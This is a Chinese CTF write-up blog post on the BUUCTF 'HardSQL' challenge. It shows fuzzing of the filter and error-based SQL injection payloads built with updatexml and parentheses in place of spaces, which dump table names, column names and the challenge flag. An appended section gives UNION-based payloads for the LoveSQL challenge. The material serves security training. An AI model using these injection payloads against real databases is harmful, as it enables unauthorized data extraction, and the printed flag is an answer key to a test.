BUUCTF之HardSQL[极客大挑战 2019]

本文详细描述了一次SQL注入攻击的过程,通过使用burpsuit进行fuzz测试,发现过滤规则并利用报错盲注来规避限制。作者展示了如何探测数据库名、表名、字段名以及获取敏感数据,最终揭示了部分flag。文章突出了SQL注入漏洞的利用技巧和数据库信息的探测方法。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

打开连接

burpsuit抓包,跑一下fuzz

 

等fuzz跑完

 

发现长度为736的都被过滤掉了,用户名输入1'or'1'#

登入成功,说明闭合号为单引号

 

根据上面的fuzz,union联合注入被过掉了,=布尔盲注也被过滤掉了,发现报错盲注的关键字没被过滤掉,被过滤掉的空格可以用

 这些代替,

 尝试登入

发现错误,应该是ascii码没有转化成相应的字符导致的,但是我们还能用括号代替空格,先简单地看一下数据库名

1'or(updatexml(0,concat(0x5e,database()),0))#

再看一下表名,这里=可以用like代替

1'or(updatexml(0,concat(0x5e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek'))),0))#

 

接着爆字段名

1'or(updatexml(0,concat(0x5e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1'))),0))#

 

接着查看值

1'or(updatexml(0,concat(0x5e,(select(group_concat(password))from(H4rDsq1))),0))#

 因为报错只能回显32位字符串,这里只回显了一部分的flag,接着用截断函数right查看身下的部分 

1'or(updatexml(0,concat(0x5e,right((select(group_concat(password))from(H4rDsq1)),31)),0))#

 

拼接起来就拿到flag了

flag{c1c437c7-b54b-43fc-8ad2-324df886c2a9}

 

### BUUCTF 极客挑战 2019 LoveSQL 题目解答 #### SQL 注入基础 在处理 SQL 注入攻击时,了解如何利用特定的 payload 来绕过验证机制至关重要。对于 `LoveSQL` 这道题目,在之前的题目中已经展示了通过万能密码完成注入的方法[^1]。 #### 获取表结构信息 为了进一步探索数据库中的数据,可以使用联合查询(UNION SELECT)来获取更多关于目标数据库的信息。具体来说,可以通过以下 Payload 获得名为 `l0ve1ysq1` 的表字段名称: ```sql 1' UNION SELECT 1,2,GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_schema=DATABASE() AND table_name='l0ve1ysq1'# ``` 这一步骤有助于理解该表的具体结构以及可能存在的敏感信息位置[^2]。 #### 查找 Flag 所在表格 考虑到 CTF 比赛中常见的规律——Flag 往往存储于当前使用的数据库内,因此可以直接尝试提取所有表的名字并寻找其中是否存在潜在的目标对象。此时可采用如下 Payload 实现这一操作: ```sql a' UNION SELECT 1,(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=DATABASE()),3 -- a ``` 此方法能够帮助确认哪些表可能是存放 Flag 的候选者之一[^3]。 #### 数据库元数据访问 除了上述手段外,还可以借助 MySQL 提供的 INFORMATION_SCHEMA.SCHEMA 表来查看整个实例下的所有数据库列表。这对于全面掌握环境背景非常有用: ```sql SHOW DATABASES; ``` 这条命令的结果来源于 SCHEMATA 表,它记录了有关各个数据库的基本详情[^4]。 综上所述,解决 `LoveSQL` 题目的关键是逐步深入挖掘数据库内部结构,并最终定位到包含 Flag 的确切位置。
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

金 帛

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值